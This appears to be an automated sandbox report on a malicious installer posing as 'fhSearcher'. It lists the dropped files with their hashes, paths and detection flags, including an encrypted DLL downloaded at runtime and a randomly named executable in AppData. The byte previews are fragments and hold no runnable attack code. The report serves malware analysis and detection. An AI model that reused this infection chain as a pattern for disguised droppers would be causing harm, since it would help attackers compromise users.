Size (bytes):	683801
Entropy (8bit):	6.4662372357428515
Encrypted:	false
SSDEEP:	12288:akxzRCUn4rP/37YzHXA6/YUKsGjQNw4qpRRpDWowphIxzb:RFRCUn4rP/37YzHXA6QJsoPtIpqxzb
MD5:	9E3B7671A9A6D2B4E8F76ED1A56B85E3
SHA1:	57668EA771CF7CB069335AD487F0E775A9DB054B
SHA-256:	07BC7383ACBE75BC37F3CBDEA92FBE047FAA371173FEF57A7A082A0D9F7C93CF
SHA-512:	0768FF201EB680929D943F69EFEF89F5D1372CF408CC98C25E9DF7F2AB7650708F9E32E7501B9C81137D43130F102C7D1BE06F852D03952C5AC41C2D692FAB4F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*..........................................@..........................0...................@..............................<%.......:...................................................P......................................................CODE................................ ..`DATA....`...........................@...BSS.....`................................idata..<%.......&..................@....tls.........@...........................rdata.......P......................@..P.reloc......`......................@..P.rsrc....:.......:..................@..P.............0......................@..P........................................................................................................................................

C:\Program Files (x86)\fhSearcher\is-GU8EV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	356
Entropy (8bit):	4.884558011565004
Encrypted:	false
SSDEEP:	6:AySGO4KS/x4L8ThcSRFLk6XDuwOyoExvWmFuQUqvJrdt6YAhlAjyIDHAUXV4:Ayf3WPSPLkP/fEFWm/5v3t/byGgH
MD5:	461D6293779BDEF19493C351344F2B71
SHA1:	C441B7DAA5ABF8A2872D55F47585657147451C72
SHA-256:	0C2BD3D1AEB04523291BC72424C802E36C1733E0B72FA775B9DD0A4E9CADE263
SHA-512:	D41DBDF10A61CEDE90D68F1F7E351D9DA441026F7CF9C12AB6ADA017B185455DDBFED74760A3DD3D67ED10A9B1915E79F6ACFF70850B626C68CB1E2B22FC9C25
Malicious:	false
Preview:	All checksum in MD5....completed.wav..8e46be5a4155710361181e3b67373404..history.rtf..1bfcde2b3d557cfb8b9004055d3a90f5..license_en.rtf..1ae62f00fc368364a2de668b3299d793..license_ru.rtf..fe7c9c6f6e8f720f886bcc65fa2d9b20..nsearcher.exe..c5e7acbda2f8bfa49bd9580120aac7b2..reset.bat..aaa149e55ddae6393fe099990747da94..unins.ico..b8ed55bf81883d2becf23fc020585214

C:\Program Files (x86)\fhSearcher\is-JIHKQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp
File Type:	MS Windows icon resource - 7 icons, 48x48, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	134921
Entropy (8bit):	6.105680271090377
Encrypted:	false
SSDEEP:	1536:blivjgxiL8DUPKKh1EQ3Zeyo0aIWeTjXV0/KwIhFvyt2M5BH2w:bV4lfptKIW6F0JIzw2M5B1
MD5:	B8ED55BF81883D2BECF23FC020585214
SHA1:	43F6DE28C98380B2FFBA0B29F381EB8408E6F691
SHA-256:	C63B20B68FABD4DF695389494235345CC95CF7E1826896EE6393F0E402B565DA
SHA-512:	E1CB9501575B4CD66AFD6C67BE2AECA1615E9C37C2B37E68A645B21BB6B2CAAE88CAF0EC8BE3513AD72896AB6A870154D17A56F71E50D51581F00C706553B10D
Malicious:	false
Preview:	......00.... ..%..v... .... ......&........ .h....6........ ......;........ .(...1...@@.... .(B..Y......... .........(...0...`..... ......%.............................................................................................................................................................................................................................................................................................<...^...x.....................}...b...A...!...................................................................................................................................X.................................................................]...................................................................................................................J...................................................................................3.......................................................................................................d......................

C:\Program Files (x86)\fhSearcher\is-JVFH1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	20
Entropy (8bit):	3.3086949695628416
Encrypted:	false
SSDEEP:	3:IU4n:X4n
MD5:	AAA149E55DDAE6393FE099990747DA94
SHA1:	F3011A304194E8AA27E0E29E49F8F2C81EAECDBD
SHA-256:	E2C57F46196C1BA3EF69792DEDF532F2A2286BA876E5BB6091C6B173D2E7C5BB
SHA-512:	15121C5C5ECB404BE5E734BE437D744B8FCDB34DDD46D69E5F18CA23E4D74B79B605B9B41973989772432035332D24FFA310F78AF6F44F44C731D416F4A949AB
Malicious:	false
Preview:	nSearcher.exe /reset

C:\Program Files (x86)\fhSearcher\is-PTQPH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp
File Type:	RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, stereo 44100 Hz
Category:	dropped
Size (bytes):	272134
Entropy (8bit):	6.156729185977344
Encrypted:	false
SSDEEP:	6144:TNKofL3cEjxCryOOYJH+8a1anwxrcSOQmlBkO+kKo:TNNzsEjxCryOOYvbnwxrcewf+1o
MD5:	8E46BE5A4155710361181E3B67373404
SHA1:	18A19A04DD6E4BFE6731E6978F2CB295E1C52174
SHA-256:	32AB0D1DF26B0DCFE78D393A1F2534D1DAA5BABC6980017303ED925682CE19D0
SHA-512:	5497EEF00048125D67551FBF22747654D97903F0622830299792159DC8532013191FB006A832E7CE2B4383EE2EC67B7B7C1D06C25CF34EEB118D050AC89DC3B7
Malicious:	false
Preview:	RIFF.&..WAVEfmt ........D.............LIST....INFOIART.... ..ICMT....mp3cut.ru ..ICRD.... ..INAM.... ..IPRD.... ..IPRT....1.ISFT....Lavf55.22.100.data.&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\fhSearcher\license_en.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44011
Entropy (8bit):	5.026565347530582
Encrypted:	false
SSDEEP:	384:em3cWBnPz+p/zWFHQ1QDGteo75Y3kpTBLRA6AlEayF:emsuQ1WGIZ/6A9U
MD5:	1AE62F00FC368364A2DE668B3299D793
SHA1:	E4E32C3EDC269987E39FDC0883F589CECF9604B4
SHA-256:	F9FF5B54BB1EBEECCC4104A62E32CAB4556DD75A5F76260E720485D5CC39D7E8
SHA-512:	844F4116FD8FF13B144D6D16DE695F7600283DC0B573CAAB5AE74573301B235AC234CE59D1D30BE8FB8ABBA3DFD27EDF8C53A7E0CD5320C23008B5F354377527
Malicious:	false
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch0\stshfhich0\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}..{\f39\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Verdana;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman

C:\Program Files (x86)\fhSearcher\license_ru.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	51922
Entropy (8bit):	4.912794307456054
Encrypted:	false
SSDEEP:	384:eA3cWBnPz+p/zWFHQ1Qp0SEW5FRLU+cB9nGog4jy6XFsa0eo75Y3kpTBLRA6AlE8:eAsuQ1IV75knFBV6ahZ/6A9r
MD5:	FE7C9C6F6E8F720F886BCC65FA2D9B20
SHA1:	2775F12A0BABDEE5CEEDB08452EF72732E49F13C
SHA-256:	B3F54F1D0C3EA747CC52BAD1B363815B9297088CACDF1398C8CFD7F8054CE2BB
SHA-512:	ABBFE43FBE4827C9CEDA8D1FDD3DB3B344E99E0CDC3512E4EF84F965F882BA5E3822A407AC1F974D1986F1CDA645A20C1D00CD16262200FE39574AEFF12F6A1A
Malicious:	false
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch0\stshfhich0\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}..{\f39\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Verdana;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman

C:\Program Files (x86)\fhSearcher\reset.bat (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	20
Entropy (8bit):	3.3086949695628416
Encrypted:	false
SSDEEP:	3:IU4n:X4n
MD5:	AAA149E55DDAE6393FE099990747DA94
SHA1:	F3011A304194E8AA27E0E29E49F8F2C81EAECDBD
SHA-256:	E2C57F46196C1BA3EF69792DEDF532F2A2286BA876E5BB6091C6B173D2E7C5BB
SHA-512:	15121C5C5ECB404BE5E734BE437D744B8FCDB34DDD46D69E5F18CA23E4D74B79B605B9B41973989772432035332D24FFA310F78AF6F44F44C731D416F4A949AB
Malicious:	false
Preview:	nSearcher.exe /reset

C:\Program Files (x86)\fhSearcher\unins.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp
File Type:	MS Windows icon resource - 7 icons, 48x48, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	134921
Entropy (8bit):	6.105680271090377
Encrypted:	false
SSDEEP:	1536:blivjgxiL8DUPKKh1EQ3Zeyo0aIWeTjXV0/KwIhFvyt2M5BH2w:bV4lfptKIW6F0JIzw2M5B1
MD5:	B8ED55BF81883D2BECF23FC020585214
SHA1:	43F6DE28C98380B2FFBA0B29F381EB8408E6F691
SHA-256:	C63B20B68FABD4DF695389494235345CC95CF7E1826896EE6393F0E402B565DA
SHA-512:	E1CB9501575B4CD66AFD6C67BE2AECA1615E9C37C2B37E68A645B21BB6B2CAAE88CAF0EC8BE3513AD72896AB6A870154D17A56F71E50D51581F00C706553B10D
Malicious:	false
Preview:	......00.... ..%..v... .... ......&........ .h....6........ ......;........ .(...1...@@.... .(B..Y......... .........(...0...`..... ......%.............................................................................................................................................................................................................................................................................................<...^...x.....................}...b...A...!...................................................................................................................................X.................................................................]...................................................................................................................J...................................................................................3.......................................................................................................d......................

C:\Program Files (x86)\fhSearcher\unins000.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp
File Type:	InnoSetup Log FHSearcher {543b218E-91B4-4910-9006-12a8bf746953}, version 0x2d, 3782 bytes, 301389\user, "C:\Program Files (x86)\fhSearcher"
Category:	dropped
Size (bytes):	3782
Entropy (8bit):	4.488005777864942
Encrypted:	false
SSDEEP:	48:DuLagnyMCLBv8lD8zpjxcqtUQoIN6hqkLVO3471Isnyya3HFXwlyX4BXldxxMf:qLRKp8lD8zp7toIohqYOIhTynYCf
MD5:	BAAAA829587563C8725BC471F875672B
SHA1:	2F6AF58FA32657D1DAFE672E22FD0C58DF885AED
SHA-256:	0FB7FD51C277A97FBD10B16D940025930DC868B9190BBE6047569E1466C912E0
SHA-512:	2AD2AA47097BA1EF06BCE5FB1AFFEB3515332F56F0D6994BC75501EE6B0B80F2EC398361C768DB66C9B1004B7E9FF1B94C96C2F508503309EE286D44CC155D29
Malicious:	false
Preview:	Inno Setup Uninstall Log (b)....................................{543b218E-91B4-4910-9006-12a8bf746953}..........................................................................................FHSearcher......................................................................................................................-...........%.................................................................................................................W...........Y.......D....301389.user!C:\Program Files (x86)\fhSearcher...............`.. ..........T.IFPS.............................................................................................................BOOLEAN..............TWIZARDFORM....TWIZARDFORM.........TPASSWORDEDIT....TPASSWORDEDIT...........................................!MAIN....-1..'...dll:kernel32.dll.CreateFileA.............#...dll:kernel32.dll.WriteFile...........!...dll:kernel32.dll.CloseHandle.......!...dll:kernel32.dll.ExitProcess.......$...dll:User32.dll.GetSystemMe

C:\Program Files (x86)\fhSearcher\unins000.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	683801
Entropy (8bit):	6.4662372357428515
Encrypted:	false
SSDEEP:	12288:akxzRCUn4rP/37YzHXA6/YUKsGjQNw4qpRRpDWowphIxzb:RFRCUn4rP/37YzHXA6QJsoPtIpqxzb
MD5:	9E3B7671A9A6D2B4E8F76ED1A56B85E3
SHA1:	57668EA771CF7CB069335AD487F0E775A9DB054B
SHA-256:	07BC7383ACBE75BC37F3CBDEA92FBE047FAA371173FEF57A7A082A0D9F7C93CF
SHA-512:	0768FF201EB680929D943F69EFEF89F5D1372CF408CC98C25E9DF7F2AB7650708F9E32E7501B9C81137D43130F102C7D1BE06F852D03952C5AC41C2D692FAB4F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*..........................................@..........................0...................@..............................<%.......:...................................................P......................................................CODE................................ ..`DATA....`...........................@...BSS.....`................................idata..<%.......&..................@....tls.........@...........................rdata.......P......................@..P.reloc......`......................@..P.rsrc....:.......:..................@..P.............0......................@..P........................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3Y2ADQKS\count[1].htm

Download File

Process:	C:\Program Files (x86)\fhSearcher\fhsearcher65.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3Y2ADQKS\library[1].htm

Download File

Process:	C:\Program Files (x86)\fhSearcher\fhsearcher65.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9QTQHWWN\count[1].htm

Download File

Process:	C:\Program Files (x86)\fhSearcher\fhsearcher65.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9QTQHWWN\library[1].htm

Download File

Process:	C:\Program Files (x86)\fhSearcher\fhsearcher65.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\G62TDH9B\ping[1].htm

Download File

Process:	C:\Program Files (x86)\fhSearcher\fhsearcher65.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	17
Entropy (8bit):	3.1751231351134614
Encrypted:	false
SSDEEP:	3:nCmxEl:Cmc
MD5:	064DB2A4C3D31A4DC6AA2538F3FE7377
SHA1:	8F877AE1873C88076D854425221E352CA4178DFA
SHA-256:	0A3EC2C4FC062D561F0DC989C6699E06FFF850BBDA7923F14F26135EF42107C0
SHA-512:	CA94BC1338FC283C3E5C427065C29BA32C5A12170782E18AA0292722826C5CB4C3B29A5134464FFEB67A77CD85D8E15715C17A049B7AD4E2C890E97385751BEE
Malicious:	false
Preview:	UwUoooIIrwgh24uuU

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OTUW0Q90\fuckingdllENCR[1].dll

Download File

Process:	C:\Program Files (x86)\fhSearcher\fhsearcher65.exe
File Type:	data
Category:	dropped
Size (bytes):	94224
Entropy (8bit):	7.998072640845361
Encrypted:	true
SSDEEP:	1536:NsbI9W6dHdtnEXOxZpPzIUcETzNtXofjmgGTeJduLLt+YBPoJTMRmNXg30:KWW6TZVz9PNtXo8M5OR0
MD5:	418619EA97671304AF80EC60F5A50B62
SHA1:	F11DCD709BDE2FC86EBBCCD66E1CE68A8A3F9CB6
SHA-256:	EB7ECE66C14849064F462DF4987D6D59073D812C44D81568429614581106E0F4
SHA-512:	F2E1AE47B5B0A5D3DD22DD6339E15FEE3D7F04EF03917AE2A7686E73E9F06FB95C8008038C018939BB9925F395D765C9690BF7874DC5E90BC2F77C1E730D3A00
Malicious:	false
Preview:	...mi...};...F".).T..'K;....O.Y0:.....3j.\.Ij.2R.P....C...q.\|.2.....iR2W.F.C=MU......H6...A.....@..O.c...M.x8...L..- ..b..\|.C...Z}.w...l.a.aT...br,...6w#.j.P.li.=......o.......S.{..R........5....#;....-....b+..G(.>..Q.....iN{.+y...ZC.z3sE...T..2.J...3.9U.4&..P......."wI.....@....x%>..D..'z.^....^(.....NC.[[k..........V]G..)e.....`.......K/L.Ul..F.."..8$.Ad....:i.g..0.d...[...T"l.U.M.=.0...,..,.ku.W,.....7`Q.Fi=w...u..:..Q-.R.}0...L.....n...t.nv.....z....e..I.C.....9.V.~1+[]..7...xQ........$.L..o.eQ./.b..Z......p].;i)...#.b...%1........@...G..[......./.c.Z......G.:..n..E.i.O..o.U.B.Px....1{,a.....#k.dj..L4...}.d<......Iyy.J..f.W..,^vV.Ao.K."+OX8!F...YP...u.-..Bik.[.u...&Wt..P...m....^ ..k~.....l..o.zMV.!s..h...{.n2;z...K..?S..-...eW...c.....-V.bg..9.I..g.x.g...}.'.5..(P...J#..:.IS..D}.v......jK9.LQF...oOhV...).h.v^-..F...<.....Vh.1....!...!...BYc..C?..D2.....2.K(..6....B....D..ay..=\|....'....[1.~.YB:./...A`...=..F..K...........

C:\Users\user\AppData\Local\Temp\is-UQRBL.tmp\_isetup\_RegDLL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3584
Entropy (8bit):	4.012434743866195
Encrypted:	false
SSDEEP:	48:iAnz1hEU3FR/pmqBl8/QMCBaquEMx5BCwSS4k+bkguj0K:pz1eEFNcqBC/Qrex5MSKD
MD5:	C594B792B9C556EA62A30DE541D2FB03
SHA1:	69E0207515E913243B94C2D3A116D232FF79AF5F
SHA-256:	5DCC1E0A197922907BCA2C4369F778BD07EE4B1BBBDF633E987A028A314D548E
SHA-512:	387BD07857B0DE67C04E0ABF89B754691683F30515726045FF382DA9B6B7F36570E38FAE9ECA5C4F0110CE9BB421D8045A5EC273C4C47B5831948564763ED144
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Metadefender, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.....................H................\|.......\|.......\|......Rich............PE..L.....%E..................................... ....@..........................@..............................................l ..P....0..8............................................................................ ..D............................text............................... ..`.rdata....... ......................@..@.rsrc...8....0......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-UQRBL.tmp\_isetup\_iscrypt.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2560
Entropy (8bit):	2.8818118453929262
Encrypted:	false
SSDEEP:	24:e1GSgDIX566lIB6SXvVmMPUjvhBrDsqZ:SgDKRlVImgUNBsG
MD5:	A69559718AB506675E907FE49DEB71E9
SHA1:	BC8F404FFDB1960B50C12FF9413C893B56F2E36F
SHA-256:	2F6294F9AA09F59A574B5DCD33BE54E16B39377984F3D5658CDA44950FA0F8FC
SHA-512:	E52E0AA7FE3F79E36330C455D944653D449BA05B2F9ABEE0914A0910C3452CFA679A40441F9AC696B3CCF9445CBB85095747E86153402FC362BB30AC08249A63
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 2% Antivirus: Metadefender, Detection: 3%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........W.c.W.c.W.c...>.T.c.W.b.V.c.R.<.V.c.R.?.V.c.R.9.V.c.RichW.c.........................PE..L....b.@...........!......................... ...............................@......................................p ..}.... ..(............................0....................................................... ...............................text............................... ..`.rdata....... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-UQRBL.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5632
Entropy (8bit):	4.203889009972449
Encrypted:	false
SSDEEP:	48:SvTmfWvPcXegCWUo1vlZwrAxoONfHFZONfH3d1xCWMBgW2p3SS4k+bkg6j0K:nfkcXegjJ/ZgYNzcld1xamW2pCSKv
MD5:	B4604F8CD050D7933012AE4AA98E1796
SHA1:	36B7D966C7F87860CD6C46096B397AA23933DF8E
SHA-256:	B50B7AC03EC6DA865BF4504C7AC1E52D9F5B67C7BCB3EC0DB59FAB24F1B471C5
SHA-512:	3057AA4810245DA0B340E1C70201E5CE528CFDC5A164915E7B11855E3A5B9BA0ED77FBC542F5E4EB296EA65AF88F263647B577151068636BA188D8C4FD44E431
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Metadefender, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d......E..........#............................@.............................`..............................................................<!.......P..8....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...8....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-UQRBL.tmp\_isetup\_shfoldr.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	23312
Entropy (8bit):	4.596242908851566
Encrypted:	false
SSDEEP:	384:+Vm08QoKkiWZ76UJuP71W55iWHHoSHigH2euwsHTGHVb+VHHmnH+aHjHqLHxmoq1:2m08QotiCjJuPGw4
MD5:	92DC6EF532FBB4A5C3201469A5B5EB63
SHA1:	3E89FF837147C16B4E41C30D6C796374E0B8E62C
SHA-256:	9884E9D1B4F8A873CCBD81F8AD0AE257776D2348D027D811A56475E028360D87
SHA-512:	9908E573921D5DBC3454A1C0A6C969AB8A81CC2E8B5385391D46B1A738FB06A76AA3282E0E58D0D2FFA6F27C85668CD5178E1500B8A39B1BBAE04366AE6A86D3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2% Antivirus: Metadefender, Detection: 4%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......IzJ^..$...$...$...%.".$.T87...$.[."...$...$...$.Rich..$.........................PE..L.....\;...........#..... ...4.......'.......0.....q....................................................................k...l)..<....@.../...................p..T....................................................................................text...{........ .................. ..`.data...\....0.......&..............@....rsrc..../...@...0...(..............@..@.reloc.......p.......X..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-VIRRO.tmp\is-L5RJL.tmp

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	673280
Entropy (8bit):	6.456966952098253
Encrypted:	false
SSDEEP:	12288:CkxzRCUn4rP/37YzHXA6/YUKsGjQNw4qpRRpDWowphIxz:ZFRCUn4rP/37YzHXA6QJsoPtIpqxz
MD5:	7CD12C54A9751CA6EEE6AB0C85FB68F5
SHA1:	76562E9B7888B6D20D67ADDB5A90B68B54A51987
SHA-256:	E82CABB027DB8846C3430BE760F137AFA164C36F9E1B93A6E34C96DE0B2C5A5F
SHA-512:	27BA5D2F719AAAC2EAD6FB42F23AF3AA866F75026BE897CD2F561F3E383904E89E6043BD22B4AE24F69787BD258A68FF696C09C03D656CBF7C79C2A52D8D82CC
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8% Antivirus: Metadefender, Detection: 3%, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*..........................................@..........................0...................@..............................<%.......:...................................................P......................................................CODE................................ ..`DATA....`...........................@...BSS.....`................................idata..<%.......&..................@....tls.........@...........................rdata.......P......................@..P.reloc......`......................@..P.rsrc....:.......:..................@..P.............0......................@..P........................................................................................................................................

C:\Users\user\AppData\Roaming\{e6e9dfa8-98f2-11e9-90ce-806e6f6e6963}\qFUx6kqeb.exe

Download File

Process:	C:\Program Files (x86)\fhSearcher\fhsearcher65.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	6.20389308045717
Encrypted:	false
SSDEEP:	1536:bvUpDLxyxA14o3/M238r6+XfHAgbqmE8MpKdwuasZLUM7DsWlXcdyZgfmi:WDLZKa/MtXfHAgbqmEtxsfmyZgfmi
MD5:	3FB36CB0B7172E5298D2992D42984D06
SHA1:	439827777DF4A337CBB9FA4A4640D0D3FA1738B7
SHA-256:	27AE813CEFF8AA56E9FA68C8E50BB1C6C4A01636015EAC4BD8BF444AFB7020D6
SHA-512:	6B39CB32D77200209A25080AC92BC71B1F468E2946B651023793F3585EE6034ADC70924DBD751CF4A51B5E71377854F1AB43C2DD287D4837E7B544FF886F470C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 38%
